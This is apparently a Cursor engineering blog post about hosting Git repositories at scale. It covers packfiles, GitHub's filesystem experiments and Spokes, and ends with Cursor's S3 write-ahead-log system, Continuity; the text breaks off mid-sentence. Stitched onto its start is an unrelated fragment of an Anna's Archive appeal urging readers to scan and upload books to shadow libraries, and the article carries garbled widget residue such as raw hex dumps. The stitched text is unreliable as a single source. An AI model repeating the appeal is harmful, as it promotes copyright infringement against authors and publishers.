Shadow li­braries of­fer the best an­swer. If you want the mem­ory of hu­man civ­i­liza­tion to no longer be mo­nop­o­lized, if you want fu­ture gen­er­a­tions to be able to read all of hu­man­i­ty’s wealth for free, if you don’t want pub­lish­ers mak­ing a for­tune while au­thors re­ceive lit­tle, then please help us. Please make any con­tri­bu­tion you can, whether it’s scan­ning and up­load­ing books, pur­chas­ing books and pa­pers to scan and up­load, or do­nat­ing. With the ef­forts of all hu­man­ity, the mo­nop­oly on knowl­edge will be bro­ken. Each of us can make his­tory.

This is a race against time. Our ideal is to scan and up­load all the world’s pub­li­ca­tions be­fore pub­lish­ers com­pletely block knowl­edge, and be­fore AI com­pa­nies scan and de­stroy all the world’s books and pa­pers.

- Anna’s Archive vol­un­teer u”

Relevant tick­ets for more in­for­ma­tion: #223 #187

Git at any scale

cursor.com

Hosting Git repos­i­to­ries at scale is a night­mare. When Linus Torvalds de­signed the first ver­sion of the in­for­ma­tion man­ager from hell (that’s ac­tu­ally the tagline for Git, look it up), he had a very spe­cific use case in mind: his own. He wanted to re­place BitKeeper, the dis­trib­uted ver­sion con­trol sys­tem that was be­ing used to de­velop the Linux Kernel. Of course, the re­place­ment had to be dis­trib­uted too. The Kernel is an un­usual soft­ware pro­ject; it is ex­tremely de­cen­tral­ized, with many dif­fer­ent main­tain­ers for its many dif­fer­ent sub­sys­tems. A dis­trib­uted ver­sion con­trol sys­tem is a nat­ural fit for this work­flow.

Twenty years later, Git has be­come an in­dus­try stan­dard, but the truth is that its dis­trib­uted na­ture is more of a hin­drance than an ad­van­tage. The av­er­age open-source soft­ware pro­ject does­n’t op­er­ate with a de­cen­tral­ized work­flow. The av­er­age com­pany def­i­nitely does­n’t. They use the many ad­van­tages of the dis­trib­uted model (such as be­ing able to work of­fline, de­lay pushes, etc) but they very much rely on a cen­tral­ized host. And host­ing a Git repos­i­tory, it turns out, is an in­cred­i­bly hard thing to do.

What’s hard about Git?

The chal­lenge in host­ing Git repos­i­to­ries at scale is in­her­ent in the de­sign of Git it­self: a dis­trib­uted ver­sion con­trol sys­tem means that all in­stances of a repos­i­tory are iden­ti­cal. There’s noth­ing spe­cial about the repos­i­tory on a Git server that does­n’t ap­ply to a repos­i­tory on a de­vel­op­er’s lap­top. Although at first it may ap­pear that this makes host­ing Git repos­i­to­ries straight­for­ward (simply put an HTTP dae­mon in front of an on-disk copy of a repos­i­tory and you’ve got a Git server go­ing!), there are many hard scal­a­bil­ity and re­li­a­bil­ity chal­lenges that make this quite the op­po­site.

In a nor­mal Git repos­i­tory, your code and meta­data (files, com­mits, trees) are com­pressed and stored in pack­files — a sim­ple bi­nary se­ri­al­iza­tion for­mat which is con­ve­nient to deal with on a lo­cal ma­chine, but not ideal to man­age at scale on a server. Packfiles are the fun­da­men­tal build­ing block of Git stor­age and Git net­work­ing. When you push or fetch data from a repos­i­tory, it’s trans­ferred as a pack­file.

This is how Git works by de­sign, but it would be fair to think that it need­n’t be that way. After all, you do not con­trol the Git client (at least not with­out an­noy­ing your users and adding a lot of fric­tion), but within the walls of your own server, you can do any­thing you want. Nothing ties you to us­ing pack­files — Linus is not go­ing to come over and check. The only re­stric­tion is that you do need to re­ceive and send pack­files over the net­work for all Git op­er­a­tions.

Over the years, com­pa­nies that tried host­ing Git repos­i­to­ries at scale no­ticed that this pack­file-based de­sign was a ma­jor lim­i­ta­tion on both avail­abil­ity and scal­a­bil­ity. Packfiles are large bi­nary files that must ex­ist on a filesys­tem for Git to ac­cess them. The sim­ple ap­proach of hav­ing an HTTP server in front of a repos­i­tory on disk has a very low ceil­ing. Ideally you’d want the repos­i­tory to ex­ist on many disks and many ma­chines (this lets you run many Git op­er­a­tions in par­al­lel, and keeps your repos­i­tory avail­able when a server crashes). But how do you do that?

There are broadly three pos­si­ble ap­proaches to ac­com­plish this, in in­creas­ing or­der of com­plex­ity: dis­trib­ute the filesys­tem, dis­trib­ute the pack­files, or dis­trib­ute Git it­self.

Git with­out pack­files

Git is a con­tent-ad­dress­able data store. All ob­jects in a Git repos­i­tory (blobs, trees, com­mits, etc) are keyed by the SHA-1 of their con­tents. This is some­thing that in­tu­itively maps very well to a dis­trib­uted key-value store (the key is the SHA-1; the value is the ac­tual ob­ject), and could pro­vide a clean way to scale out the stor­age of a repos­i­tory. But this ac­tu­ally does­n’t work.

Here’s the is­sue: the ac­tual lay­out of a Git repos­i­tory is a di­rected acyclic graph (DAG for short). You can look up any ob­ject via its SHA, but to per­form even the most triv­ial op­er­a­tion in the repo, you must ac­tu­ally walk the DAG step by step.

COMMIT DAGTREE /main → c8f3?com­mit · c8f3NET­WORK↓ OLDER COMMITSobjects 0/54 · round-trips 0key/value store­aa42a112c8f3e816f0214b70e8c487ab19b4d5c277b22d­c83f7d­c43040c22d6e21aa729a0d­b50f627cf191fe3e81b19092d080a5f31134e06c811f6e7a196e42e147b9086a70ce192ee45d83f7a9b02ec2a70c49b8e25ac074b1a93d47d­d9b519d2a8c14d431d­c31e­f09e205

If you want to do an op­er­a­tion like list­ing the re­cent changes in a repos­i­tory, you must process its com­mits. When you process a com­mit, you get a pointer to the root of its tree. From that tree, you get point­ers to each file and each sub­tree. From the orig­i­nal com­mit, you get a pointer to its par­ent (the one that comes be­fore it in the his­tory). Crucially, at every step of this walk, you don’t know the value of the next pointer un­til you fetch the pre­vi­ous one. If every fetch re­quires a round trip to a dis­trib­uted store, things be­come very ex­pen­sive very fast.

This ap­proach to dis­trib­ut­ing Git at the ob­ject level has been tried be­fore, many times, and it of­ten fails at scale. The most promis­ing im­ple­men­ta­tion was at­tempted by my for­mer men­tor Shawn Pearce when he was work­ing on the ver­sion con­trol sys­tems team at Google. His ap­proach was stor­ing the ob­jects in a dis­trib­uted hash table. This was only pos­si­ble thanks to JGit, a cus­tom Git im­ple­men­ta­tion in Java. Like any good ol’ Java li­brary, JGit pro­vides enough in­ter­faces and fac­to­ries and in­ter­face fac­to­ries to ab­stract all the de­tails of a nor­mal Git repos­i­tory, in­clud­ing re­plac­ing its on-disk pack­files with a DHT. Although the sys­tem worked and re­sults were good enough for nor­mal Git op­er­a­tions, the lim­i­ta­tions of the Git pro­to­col (which again, re­quire pack­files to be sent over the net­work re­gard­less of how you store data on the server) made the git clone per­for­mance bad enough to dis­card the de­sign al­to­gether.

GitHub and filesys­tems

A cou­ple years af­ter Git started to es­cape its Linux Kernel bub­ble, a scrappy startup was born in San Francisco. GitHub was founded in 2008 as a so­cial cod­ing plat­form with a very pre­scient tagline, Git repos­i­tory host­ing: no longer a pain in the ass.” I’m not jok­ing here ei­ther, look it up. There was, all the way back in 2008, a broad con­sen­sus that de­spite (or per­haps be­cause of) Git’s dis­trib­uted de­sign, you ac­tu­ally needed a cen­tral­ized way to host Git repos­i­to­ries to make them user-friendly, and do­ing this was very painful. GitHub was set on chang­ing that.

Its plat­form started as (and mostly still is) a Rails mono­lith. The very first ver­sions were run­ning off a sin­gle, al­beit beefy, ma­chine, with a Ruby server and copies of the repos­i­to­ries on disk next to it. Scaling a Rails app is easy: de­ploy more in­stances of it. But in this par­tic­u­lar case, since Git is in­volved, they quickly ran into the re­cur­ring ques­tion we’re try­ing to solve here: If the Rails app needs to ac­cess the Git repos­i­to­ries on disk, how do you de­ploy more copies of them?

Being a thrifty bunch of mis­fits, the early sys­tems en­gi­neers at GitHub tried the sim­plest ap­proach that could pos­si­bly fix their scal­ing prob­lems. The think­ing was that, if they fo­cused on dis­trib­ut­ing the filesys­tem (instead of pack­files, or Git it­self), they could keep the Rails app un­changed and spend their time ship­ping more fea­tures for the ever-grow­ing user base, in­stead of do­ing weird stuff with Git. Very prag­matic. It did­n’t work.

The team at­tempted many ap­proaches to a dis­trib­uted filesys­tem for Git data: the most ob­vi­ous one, us­ing NFS to store all repos­i­to­ries on a cen­tral­ized server, was quickly dis­carded. The de­fault im­ple­men­ta­tion of Git makes a lot of as­sump­tions about filesys­tem se­man­tics (locking, tear­ing, read­ing, sync­ing…) that en­sure de­cent per­for­mance on the lo­cal filesys­tem of a slow de­vel­oper lap­top, but pay no at­ten­tion to how they be­have over a net­worked filesys­tem. It was slow, and it was buggy.

Further at­tempts were made with (frankly, in ret­ro­spect, hor­rific) tech­nolo­gies that repli­cated the filesys­tem at the block level. A short-lived de­ploy­ment with GFS. A longer-lived de­ploy­ment based on DRBD. They all hit a wall. They were ter­ri­ble to op­er­ate day to day, and they did­n’t make up for it with good per­for­mance. It all boils down to the de­sign of pack­files on disk.

We’ve al­ready seen how Git’s graph-like data struc­tures make round-trips pro­hib­i­tively ex­pen­sive. Unfortunately, a very sim­i­lar prin­ci­ple also ap­plies to the un­der­ly­ing data on-disk. There is no cor­re­la­tion be­tween the lay­out of ob­jects in the DAG and the way they’re placed in a pack­file. The key heuris­tic used when gen­er­at­ing pack­files is min­i­miz­ing their size; ob­jects are placed ran­domly through­out the pack, they are com­pressed, and cru­cially they’re rarely stored whole. Most ob­jects are stored as a delta on top of an­other ob­ject in the same pack­file. Reading an in­di­vid­ual ob­ject, af­ter fol­low­ing the many log­i­cal hops in the graph data struc­ture, also in­volves fol­low­ing phys­i­cal hops in the on-disk for­mat.

COMMIT DAGTREE /HEAD·mergecommit · c8f3­root /tree · f021server.ts­blob · f7a9­pack.ts­blob · a112README.md­blob · c430­Cargo.toml­blob · ef09­main~1com­mit · 9d2aroot /tree · e8c4server.ts­blob · d431­pack.ts­blob · b8e2README.md­blob · 21aaCargo.tomlblob · 92d0featurecommit · 74b1root /tree · 7a19server.tsblob · b02epack.ts­blob · 7cf1README.mdblob · 5d83Cargo.tomlblob · e147merge basec­om­mit · 5ac0root /tree · 2d6eserver.tsblob · 8c14pack.tsblob · 0f62README.mdblob · a93d­Cargo.toml­blob · 3e81refactorcommit · 3f7droot /tree · 6c81server.tsblob · e205­pack.ts­blob · 19b4README.mdblob · 6a70Cargo.tomlblob · d5c2­parser­com­mit · aa42­root /tree · 91feserver.tsblob · 4b70pack.tsblob · f311README.md­blob · 2dc8Cargo.tomlblob · 80a5docscommit · ce19­root /tree · 0db5server.tsblob · 729apack.tsblob · 6e42README.mdblob · b190­Cargo.toml­blob · 47ddbootstrapcommit · 87abroot /tree · 40c2server.tsblob · 1f6epack.tsblob · c2a7README.md­blob · 9b51Cargo.tomlblob · 34e0initialcommit · 2ee4root /tree · b908server.ts­blob · dc31­pack.ts­blob · 77b2README.mdblob · e816­Cargo.toml­blob · 0c49↓ OLDER COMMITSpack-7d9a.pack00005041434B00000002000000369667706B001087CB98F791BBB1A90DFB95AEA39C9096002008C2A7180F97ACF200DBBC9098D5BBD10030B5A94CB2E61004EC96B098E17C9BE5B700404A19E5C49FA44FE62B3225C446E744410050C5EB8990E84A607C5C5A3D9996324D5F0060633898968A2B4DF3066395013955B4960070A15A6898EA976BE046C3ACDE98A86F5E00803BE84A97E68450D47936985069F5B25F00902FBDE5D4C28ECFE63DB350B871E7F33A00A0BAF109D0E8F7FF556E74DAB7E6E2E71E00B058DD984BFA29344429F2E52F415382E600C0C71AD04782E703FECCE51940E862FA0600D004826A0596C94054F246984BD218C3AC00E04B2C9506ED4A02967A5071F17D9793A000F01B73670B98B79D58807A0B14E6DC5E5301002FEF9814BBB9A6E8617EE5D4B43D5AE601108478CF63F0E7F3D8BA541492E8E8FCF701205929E078E6629739693698F03127F80B0130295BE516B79BE8E68A9D1BCD23E744210140B1A5543CE88D7CD27941A14CE6C614EB0150F0E1982CE621266DD61CE5CECCF7DEE60160212997678DE7FD3C7B66EFF2E85F579E0170C2D51BAEE51554918799BF9B3F89732901808F7ED201FA87C2FD

This kind of ran­dom walk across gi­ga­bytes of data, which must hap­pen for every sin­gle Git op­er­a­tion per­formed on a repos­i­tory, just does­n’t play well with a net­worked filesys­tem (whether it repli­cates at the file or at the block level). The only way this works with­out slow­ing down to a crawl is if you can cache the whole file lo­cally. But with hun­dreds of thou­sands of repos­i­to­ries in the same filesys­tem, caching is not an op­tion.

Eventually, the sys­tems en­gi­neers at GitHub bit the bul­let and gave up dis­trib­ut­ing the filesys­tem. They started de­vel­op­ing an RPC sys­tem so that repos­i­to­ries could live on ded­i­cated file­servers, and up­dated the Rails app to do all op­er­a­tions re­motely. This pro­vided a good chunk of hor­i­zon­tal scal­a­bil­ity, but did­n’t fix their avail­abil­ity, nor the per­for­mance for the busiest repos­i­to­ries. After all, every repos­i­tory was still stored only on a sin­gle ma­chine.

Spokes and Consistency

Spokes was orig­i­nally de­vel­oped at GitHub around 2013, and it has since be­come an in­dus­try stan­dard. Most Git host­ing ser­vices use a vari­ant of the Spokes ap­proach (application-level repli­ca­tion for Git repos­i­to­ries) in their ar­chi­tec­ture. The main rea­son Spokes has worked well for many years is that it made three fun­da­men­tal choices that, over time, have been proven to be op­ti­mal:

It does­n’t dis­trib­ute Git it­self; it works at the pack­file level.

It stores all data as ac­tual Git repos­i­to­ries on lo­cal NVMe disks.

It repli­cates the Git data, but keeps all copies con­sis­tently in sync.

Because of the ran­dom read pat­terns across pack­files we’ve just dis­cussed, stor­ing plain Git repos­i­to­ries on NVMe dri­ves is ba­si­cally a re­quire­ment to en­sure all ba­sic Git op­er­a­tions re­main fast. They also keep clones ef­fi­cient be­cause you don’t have to trans­form the data into what the Git client ex­pects. They also let you fo­cus on build­ing a prod­uct on top of Git, as op­posed to main­tain­ing a fork of Git your­self that can op­er­ate on your weird repos­i­to­ries.

Keeping all the copies of the data con­sis­tently in sync is also, cru­cially, very good. This is some­thing you find out the hard way, but the Git client re­ally does­n’t play well with even­tual con­sis­tency. If your lo­cal Git client pushes a com­mit and then fails to read it im­me­di­ately af­ter a fetch, that’s bad news. Git finds that very con­fus­ing. If you run your CI pipeline across a hun­dred run­ners and three of them don’t find the com­mit they’re sup­posed to test af­ter cloning your repos­i­tory, that’s bad news. It’s also a very poor user ex­pe­ri­ence.

Working with an even­tu­ally con­sis­tent view of a Git repos­i­tory has a lot of sharp edges, whether it’s on the client or in the back­end. Hence, Spokes pays a very high com­plex­ity cost to en­sure the sys­tem is al­ways fully con­sis­tent. Let’s see ex­actly what this means.

Spokes is a con­sen­sus-based dis­trib­uted sys­tem. It works by stor­ing sev­eral copies of your Git repos­i­tory on dif­fer­ent servers. Whenever you push new data, an or­ches­tra­tor fans out your push so that every in­stance of your repos­i­tory re­ceives a copy. The fan-out” is syn­chro­nized with a clas­sic con­sen­sus al­go­rithm called 3PC (three-phase com­mit) so that a push is only ac­cepted if a ma­jor­ity of the nodes ac­knowl­edge it.

1 · VOTING2 · PRE-COMMIT3 · DO COMMIT

Before we can talk more about the way Spokes uses 3PC, we need to un­der­stand how a Git push works. A Git push has two com­po­nents: a pack­file and a ref­er­ence trans­ac­tion. The pack­file, which we’ve al­ready talked about, con­tains the ob­jects you’re push­ing to the repos­i­tory (blobs, trees, and com­mits with your changes). The trans­ac­tion is what ac­tu­ally pub­lishes your changes to the repos­i­tory by up­dat­ing one or more ref­er­ences (e.g. the branch you’re work­ing on) to point to the com­mits you’ve just pushed.

This sep­a­ra­tion is very con­ve­nient here, be­cause a pushed com­mit is not vis­i­ble (“reachable” in Git par­lance) un­til the ref­er­ence that points to it has been up­dated. This means we can im­ple­ment con­sen­sus for our pushes by fan­ning out the pack­files to all hosts si­mul­ta­ne­ously (we don’t need to syn­chro­nize here) and then do­ing three-phase com­mit with the ref­er­ence trans­ac­tion, which is much smaller and faster to syn­chro­nize than the pack­file. Git it­self has sup­port for prepar­ing ref­er­ence trans­ac­tions: it can ac­quire a lock on the ref­er­ence, ver­ify that the ex­ist­ing value is what’s ex­pected, and then hold the lock un­til it re­ceives a com­mit or an abort com­mand for the trans­ac­tion.

Playback speed0.010x

Replicas5

One-way la­ten­cy20ms

With this de­sign, we en­sure that every push is fully syn­chro­nized across all the repli­cas. Reads (fetches, clones) can then be safely routed to any sin­gle replica, be­cause every replica is al­ways up to date.

This is es­sen­tially how Spokes works, and it has been work­ing quite well for the past 13 years. Of course, Spokes is not per­fect — no sys­tem is. In 2026, the way peo­ple use Git repos­i­to­ries has changed dras­ti­cally, and we have learned many im­por­tant lessons about build­ing dis­trib­uted sys­tems along the way. Time and ex­pe­ri­ence have shown which of Spokes’s choices turned out to be op­ti­mal, and which did not.

One flaw that has turned out to be crit­i­cal is the con­strained hor­i­zon­tal scal­a­bil­ity of 3PC. When Spokes was ini­tially re­leased, three repli­cas per repos­i­tory was the sweet spot. You could serve your av­er­age repos­i­tory from three copies with ca­pac­ity to spare, with enough re­dun­dancy to keep ac­cept­ing pushes even if one ma­chine went down.

In 2026, things look very dif­fer­ent. The av­er­age repos­i­tory for an en­ter­prise com­pany is now a mas­sive monorepo. Three repli­cas are not enough to serve the traf­fic for such re­pos, par­tic­u­larly when it comes to CI. Of course, noth­ing stops Spokes from run­ning with more than three repli­cas, ex­cept the dreaded tail at scale. Three-phase com­mit maps very el­e­gantly to the Git trans­ac­tion model, but as a con­sen­sus al­go­rithm, it has fun­da­men­tal lim­i­ta­tions: the la­tency of every step is bound by the slow­est of all the servers in the clus­ter. The more repli­cas you add to a clus­ter, the worse push through­put gets.

This scal­a­bil­ity con­straint also ap­plies the other way. When agents work with Git repos­i­to­ries at scale, they of­ten op­er­ate out­side of a monorepo by cre­at­ing vast num­bers of small repos­i­to­ries, many of them throw­away, and most of them barely touched. Spokes strug­gles here be­cause it still re­quires three repli­cas for every one of these repos­i­to­ries. Three mostly idle repli­cas, which can­not be trimmed down be­cause then the sys­tem would­n’t be fully con­sis­tent and data loss would be pos­si­ble. With three-phase com­mit, the floor is al­ways too high, and the ceil­ing too low.

Another flaw, im­pos­si­ble to see up front, but painfully ob­vi­ous af­ter hav­ing suf­fered through it, is that Spokes can be rough to op­er­ate at scale. Because the repos­i­to­ries on disk are al­ways the source of truth for con­sen­sus, every copy of every repos­i­tory is very im­por­tant. You have to treat repos­i­to­ries as pets, not cat­tle.

This means, for starters, that you need to know ex­actly where every repos­i­tory is. This adds a de­pen­dency (and a po­ten­tial avail­abil­ity is­sue) on an ex­ter­nal data­base that must keep a very large rout­ing table map­ping every repos­i­tory to every ma­chine where it’s repli­cated. Every repos­i­tory must also be check­summed, and its check­sums con­stantly up­dated in that table, to en­sure the repos­i­tory re­mains valid on disk. As soon as some­thing bad hap­pens to the repos­i­tory (and trust me, bad things hap­pen all the time — Git can be very finicky in prac­tice), you must de­tect it and sched­ule a re­pair job to bring it back to a healthy state. And you must do it very quickly! Because, again, the repos­i­to­ries on disk are the source of truth. A cor­rupted copy is as bad as a miss­ing one. If two of the three copies are cor­rupt, the sys­tem can no longer ac­cept pushes: there’s no quo­rum.

Continuity

Continuity is the Git stor­age sys­tem we’ve de­vel­oped at Cursor, with a very clear ap­proach: learn­ing from every­thing that Spokes did well, and fix­ing the things that, af­ter many years, we now know are prob­lems.

Continuity is a sim­ple sys­tem (a sys­tem can­not be easy to op­er­ate if it is not sim­ple). The core prim­i­tive be­hind it is a write-ahead log, which we store in S3-compatible ob­ject stor­age. In pro­duc­tion, we run di­rectly on S3, but we de­signed it so it can be de­ployed on any cloud.

When a repos­i­tory re­ceives a push, we store the push as a WAL en­try in S3. We never ac­knowl­edge a push un­til it has been fully per­sisted. Each push is stored as a sep­a­rate ob­ject; we write the pushed pack­file to disk and up­load it to S3 si­mul­ta­ne­ously. Uploading a WAL en­try, how­ever, does not pub­lish it. A push is only vis­i­ble once we suc­cess­fully pre­pare its ref­er­ence trans­ac­tion on a lo­cal copy of the repos­i­tory and record a pointer to the WAL en­try in the WAL in­dex file, which is its own ob­ject in the store. This forces all pushes to be lin­eariz­able.

We try not to do one sin­gle S3 write per push, be­cause in busy repos­i­to­ries, this puts a hard cap on push through­put based on the la­tency of the S3 PUT op­er­a­tion. With a care­fully tuned batch­ing im­ple­men­ta­tion, and with the only re­quire­ment of hav­ing to syn­chro­nize the ref­er­ence trans­ac­tion with a sin­gle lo­cal repos­i­tory in­stead of a quo­rum of repli­cas, we have a sys­tem that can in­gest pushes as fast as our disk al­lows.

The lo­cal copy of the repos­i­tory is, of course, a nor­mal Git repos­i­tory stored on a very fast NVMe drive. We do the same thing that Spokes does be­cause I think Spokes got that ex­actly right. It al­lows us to reuse all the amaz­ing OSS work of the Git com­mu­nity, in­clud­ing the up­stream Git client and its many per­for­mance op­ti­miza­tions. It lets us fo­cus on ship­ping new fea­tures, in­stead of do­ing weird stuff with Git.

Consensus

We’ve seen that one thing that makes a Spokes clus­ter hard to op­er­ate is that it’s very im­por­tant to keep track of the lo­ca­tion of every repos­i­tory on each server. Continuity does this very dif­fer­ently. Where does every repos­i­tory live? The an­swer is anywhere”. It does­n’t mat­ter! We treat repos­i­to­ries like a warm cache on disk, but the source of truth is al­ways the write-ahead log in S3. The sys­tem is state­less, and there are no rout­ing ta­bles (and no re­la­tional data­base to op­er­ate — hash­tag blessed). If a repos­i­tory is miss­ing from the lo­cal disk when ac­cessed on a host, we just ma­te­ri­al­ize it from the WAL. We can do this very ef­fi­ciently, but of course we don’t want to do this all the time, be­cause it’d be waste­ful. In pro­duc­tion, we use ren­dezvous hash­ing to map a repos­i­tory ID to the list of nodes where we ex­pect it to be. All the state we re­quire to route repos­i­to­ries is the repos­i­tory ID and the cur­rent set of healthy nodes in a clus­ter. But if this state gets out of sync (e.g., a node be­comes un­healthy), that’s per­fectly fine too. We’ll just ma­te­ri­al­ize the repos­i­tory on whichever node comes next.

What about con­sen­sus? Elections? Which server is the pri­mary for a given repos­i­tory? It also does­n’t mat­ter! There’s no state and no con­sen­sus here. Any server can be the pri­mary. All up­dates to the write-ahead log are syn­chro­nized with an atomic com­pare-and-swap (CAS) op­er­a­tion on S3, so it’s al­ways safe for any in­stance of a repos­i­tory to re­ceive a push. Again, just like with rout­ing, let­ting an ar­bi­trary server act as the pri­mary is­n’t the most ef­fi­cient thing (it leads to CAS re­tries, which can de­lay pushes), so in prac­tice we al­ways choose the same server as the pri­mary, the first one in the ranked list from ren­dezvous hash­ing. But in the cor­ner cases — when there’s a de­ploy, a failover, a net­work blip — we just don’t care ex­actly which server is the pri­mary. The sys­tem is de­signed to al­ways be cor­rect when de­graded, and al­ways fast when healthy.

Replication

Having a write-ahead log in S3 opens a world of pos­si­bil­i­ties when it comes to scale. We can have lit­er­ally any num­ber of repli­cas, be­cause the scal­a­bil­ity of S3 is un­matched and all the repli­cas catch up di­rectly from there. We per­form op­ti­mistic repli­ca­tion by send­ing gos­sip UDP pack­ets around our clus­ter. The pack­ets con­tain all the re­quired meta­data for each replica to catch up di­rectly from S3 af­ter every push. That is in­sane,” I hear you mum­ble from be­hind your screen across time and space. UDP is not a re­li­able trans­port.” Of course it is­n’t. Nothing is re­li­able in a dis­trib­uted sys­tem! The wire is not re­li­able, the rout­ing is not re­li­able, and the topol­ogy is not re­li­able ei­ther. But it’s OK: it does­n’t mat­ter. Each replica knows the ETag of the last ver­sion of the WAL in­dex it’s caught up with. When you per­form a read op­er­a­tion on a replica, we do a con­di­tional GET to S3 with the ETag we ex­pect. A 304 re­sponse with no body (conveniently, an al­most in­stant op­er­a­tion — less than 10ms on av­er­age be­cause it’s a meta­data-only S3 op­er­a­tion) means we’re up to date and we can serve the fetch or the clone straight away. A 200 re­sponse comes with the newest ver­sion of the WAL in­dex, which we use to catch up be­fore serv­ing the read.

Drop the UDP gos­sip data­gram

It does­n’t mat­ter if the repli­ca­tion UDP packet is lost, or if it ar­rives at the wrong server be­cause the topol­ogy shifted. All reads on all repli­cas are fully con­sis­tent, be­cause they’re ver­i­fied against the source of truth, which is S3. The sys­tem is de­signed to al­ways be cor­rect when de­graded, and al­ways fast when healthy.

The im­pli­ca­tions of this are twofold. First, be­cause the sys­tem is al­ways con­sis­tent, build­ing in­fra­struc­ture on top of it is triv­ial. We (our agents, our web in­ter­face, our clients) al­ways see a glob­ally con­sis­tent view of the repos­i­tory. And be­cause the sys­tem scales in both di­rec­tions, every repos­i­tory gets just the right num­ber of repli­cas. A large monorepo can be de­ployed across hun­dreds of repli­cas to serve all the load from its CI jobs. Millions of tiny repos­i­to­ries cre­ated by agents can be served with one replica each; we don’t need more than one to en­sure avail­abil­ity, be­cause S3 is the source of truth. In fact, an idle repos­i­tory does­n’t even need that: when a replica has­n’t re­ceived traf­fic for a while, we garbage col­lect it from the node’s disk, and sim­ply ma­te­ri­al­ize it again from the WAL the next time a fetch comes in.

S3 · OBJECT STORE

Compaction

Write-ahead logs re­quire pe­ri­odic com­paction. You can­not let the log grow un­bounded: a full re­store re­plays every en­try, so the more en­tries, the more ex­pen­sive it be­comes.

Coincidentally, a nor­mal Git repos­i­tory also re­quires pe­ri­odic com­paction, even though Git is not based on a WAL. We’ve seen that the fun­da­men­tal unit of stor­age in a Git repos­i­tory is the pack­file. Each time you push to a re­mote copy of a repos­i­tory, or fetch into your lo­cal copy, you cre­ate a new pack­file. This does­n’t scale in­def­i­nitely: each pack­file has its own at­tached in­dex, which al­lows Git to ef­fi­ciently look up the ob­jects it con­tains, but this lookup is only ef­fi­cient on a per-pack­file ba­sis. If you’re look­ing for a spe­cific ob­ject, and your repos­i­tory has 100 pack­files, you’ll need to open the in­dex for each one of them and look up the ob­ject un­til you find it in one of the pack­files. An ef­fi­cient op­er­a­tion is not ef­fi­cient if it must be per­formed hun­dreds or thou­sands of times.

Modern Git has got­ten very good at work­ing around this; it now sup­ports multi-pack in­dexes and in­cre­men­tal geo­met­ric com­paction. But even­tu­ally you must bite the bul­let and repack your Git repos­i­tory on disk. Historically, this has been a con­stant avail­abil­ity is­sue for sys­tems like Spokes, be­cause repack­ing is a very CPU-heavy op­er­a­tion, even when done in­cre­men­tally, and it must be per­formed on all the repli­cas of the sys­tem. Accidentally trig­ger­ing a main­te­nance op­er­a­tion on two or more Spokes nodes for the same repos­i­tory will eas­ily cause the repos­i­tory to fail over.

Here, we amor­tize the cost of com­paction. Only the pri­mary does com­pactions, and the re­sult of the com­paction ap­plies to both the on-disk repos­i­tory and the WAL. Since all repli­cas fol­low the WAL, they also fol­low the com­paction events. Replicas don’t repack; they sim­ply down­load the al­ready-com­pacted packs from S3, trad­ing band­width for CPU.

WALGIT · LOCAL PACKSgeometric com­paction0ec8f61e8f28979d­be0e6d­b3­COM­PACTION FRONTIERPACKS ARRIVES3 · SOURCE OF TRUTH5 packs#126db3.wal#40be0e.wal#970ec8.wal#98f61e.wal#998f28.wal­git­wal.pb

Scale

Replication and com­paction are the two key fac­tors that de­ter­mine how well a Git stor­age sys­tem be­haves un­der load. As we’ve just seen, they’re in­trin­si­cally linked: the more pushes per sec­ond a repos­i­tory in­gests, the more read per­for­mance de­grades, be­cause the pack­files of every push must be com­pacted for Git op­er­a­tions to re­main ef­fi­cient. If you repli­cate these pushes, the com­paction must be ei­ther repli­cated or per­formed in­de­pen­dently on each replica.

Continuity’s WAL-first de­sign of­fers fully con­sis­tent hor­i­zon­tal scal­a­bil­ity: you can de­ploy an ar­bi­trary num­ber of repli­cas, and the through­put for read-only Git op­er­a­tions grows lin­early with them. Because all repli­cas in the clus­ter are fully con­sis­tent, this al­lows us to scale the Git pro­to­col (clones, fetches) and all the RPC op­er­a­tions that Origin per­forms on top of repos­i­to­ries (web UI in­ter­ac­tions, the REST API, all our agen­tic in­ter­faces, etc.)

We have run syn­thetic stress tests with up to 100 repli­cas and seen con­sis­tent lin­ear scal­ing for reads, with­out any re­gres­sions in push through­put.

The push through­put of a clus­ter de­pends on the la­tency at which we can up­date our WAL on S3. Using S3 Standard, we can sus­tain up to 120 pushes/​s while com­pact­ing and repli­cat­ing the com­pacted data to all other nodes. We have also de­ployed high-per­for­mance clus­ters on S3 Express One Zone, which has much lower la­tency for PUT op­er­a­tions. There, we can in­gest more than 300 pushes/​s, and we are ef­fec­tively bot­tle­necked by the speed at which Git can com­pact the on-disk data. We’re work­ing on in­no­v­a­tive ways to lay out this data on disk to re­duce the im­pact of com­paction: our goal is to con­tinue op­ti­miz­ing the speed at which a Git repos­i­tory can in­gest code with­out re­lax­ing our hard dura­bil­ity and con­sis­tency guar­an­tees.

WAL as truth

S3 is a great piece of tech­nol­ogy. The whole con­cept of blob stor­age that was pi­o­neered with the S3 API has turned out to be a very pow­er­ful build­ing block for large data stor­age sys­tems, and this most def­i­nitely also ap­plies to host­ing Git repos­i­to­ries. The de­sign pre­sented here is novel on many ways, but it’s not the first one to store pack­files as blobs. Azure DevOps (Microsoft’s own com­peti­tor to Microsoft’s own GitHub) has a very suc­cess­ful Git stor­age sys­tem that stores pack­files in blob stor­age and their ref­er­ences in a re­la­tional data­base (MS SQL Server). There are many trade-offs to a sys­tem like this. A re­la­tional data­base scales well with large ref­er­ence trans­ac­tions. But then you have to op­er­ate a re­la­tional data­base. We have a strong be­lief that the con­sis­tency of Git data is more im­por­tant than any other con­sid­er­a­tion. This is what re­ally tipped the scales for us into de­sign­ing a WAL-based sys­tem that does­n’t de­pend on ex­ter­nal data­bases.

There are many things that can go wrong with a Git repos­i­tory in pro­duc­tion. Data cor­rup­tion at rest, bugs dur­ing repack­ing, races dur­ing pushes. It’s one big col­lec­tion of cor­ner cases. Most of these have been ironed out in Git up­stream. But not all of them. No sys­tem is with­out bugs, not even those that are OSS and widely de­ployed. Our con­sis­tency model en­sures that we keep track of every fun­da­men­tal op­er­a­tion that hap­pens to a repos­i­tory. We never ac­knowl­edge a push un­til it has been fully per­sisted to the WAL. We lin­earize all pushes. Every view of every repos­i­tory we ac­cess is al­ways fully con­sis­tent. Since every push is in the WAL, we can look at every state a repos­i­tory has ever been in. We have full prove­nance data for all pushes, and also for all repacks. We can rewind and fast-for­ward every replica. We don’t have to syn­chro­nize any state with any ex­ter­nal data­base, whether it’s a data­base that only stores ref­er­ences, or a data­base that stores all ob­ject data. When (not if) we hit a bug in Git, we can pin­point ex­actly what hap­pened and re­vert it. And be­sides the bugs that al­ready 